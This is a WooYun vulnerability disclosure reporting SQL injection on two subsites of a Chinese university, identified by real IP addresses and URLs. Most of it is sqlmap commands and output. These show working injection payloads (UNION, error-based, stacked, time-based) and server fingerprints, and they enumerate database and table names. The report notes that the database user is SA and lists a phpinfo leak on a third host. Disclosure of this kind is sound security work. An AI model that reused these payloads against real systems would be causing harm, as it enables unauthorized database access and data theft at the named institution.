当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064976

漏洞标题:太原科技大学某些分站存在两处SQL注入

相关厂商:太原科技大学

漏洞作者: aaaaty

提交时间:2014-06-17 13:49

修复时间:2014-08-01 13:50

公开时间:2014-08-01 13:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-17: 细节已通知厂商并且等待厂商处理中
2014-06-19: 厂商已经确认,细节仅向厂商公开
2014-06-29: 细节向核心白帽子及相关领域专家公开
2014-07-09: 细节向普通白帽子公开
2014-07-19: 细节向实习白帽子公开
2014-08-01: 细节向公众公开

简要描述:

太原科技大学某些分站存在两处SQL注入

详细说明:

第一处:http://210.31.104.8/display.php?ii_id=1073
sqlmap:

C:\Python27\sqlmap>sqlmap.py -u http://210.31.104.8/display.php?ii_id=1073 --tab
les
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 00:48:18
[00:48:18] [INFO] resuming back-end DBMS 'mysql'
[00:48:18] [INFO] testing connection to the target URL
[00:48:18] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ii_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ii_id=1073 AND 8166=8166
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: ii_id=1073 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71736
e7771,0x444655465963524e6b53,0x71706e6d71)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: ii_id=1073 AND SLEEP(5)
---
[00:48:19] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 9.04 (Jaunty Jackalope)
web application technology: PHP 5.2.6, Apache 2.2.11
back-end DBMS: MySQL 5.0.11
[00:48:19] [INFO] fetching database names
[00:48:19] [INFO] fetching tables for databases: 'alumni, information_schema'
Database: alumni
[32 tables]
+---------------------------------------+
| addressbook |
| admininfo |
| adminlist |
| alumniinfo |
| alumnilist |
| alumniuser |
| association |
| associationhistory |
| bbsadmin |
| bbsattachement |
| categories |
| city |
| classes |
| classpost |
| department |
| donation |
| donationtype |
| forums |
| introinfo |
| introtype |
| nationality |
| photoalumni |
| photodescription |
| photoinfo |
| picturenew |
| posts |
| posttext |
| posttype |
| province |
| topic |
| usercominfo |
| userinfo |
+---------------------------------------+
Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+


第二处:http://210.31.104.59/pub/search/default.asp?id=10
sqlmap:

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=10 AND 1300=1300
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=10 AND 3976=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(114)+CH
AR(114)+CHAR(113)+(SELECT (CASE WHEN (3976=3976) THEN CHAR(49) ELSE CHAR(48) END
))+CHAR(113)+CHAR(99)+CHAR(108)+CHAR(112)+CHAR(113)))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=10; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=10 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(120)+CHAR(114)+CHAR(114)+CHAR(113)+(SELEC
T (CASE WHEN (8756=8756) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(99)+CH
AR(108)+CHAR(112)+CHAR(113))
---
[00:52:09] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[00:52:09] [INFO] fetching database names
[00:52:09] [INFO] the SQL query used returns 8 entries
[00:52:09] [INFO] resumed: master
[00:52:09] [INFO] resumed: model
[00:52:09] [INFO] resumed: msdb
[00:52:09] [INFO] resumed: Northwind
[00:52:09] [INFO] resumed: pubs
[00:52:09] [INFO] resumed: serverdb
[00:52:09] [INFO] resumed: serverdbbk
[00:52:09] [INFO] resumed: tempdb
available databases [8]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] serverdb
[*] serverdbbk
[*] tempdb
[00:52:09] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\210.31.104.59'


PS:用户是SA
还有一处敏感信息泄漏:
ttp://210.31.104.107/u.php
ttp://210.31.104.107/u.php?act=phpinfo

漏洞证明:

RT

修复方案:

敏感字符过滤

版权声明:转载请注明来源 aaaaty@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-06-19 14:42

厂商回复:

协调处理中

最新状态:

暂无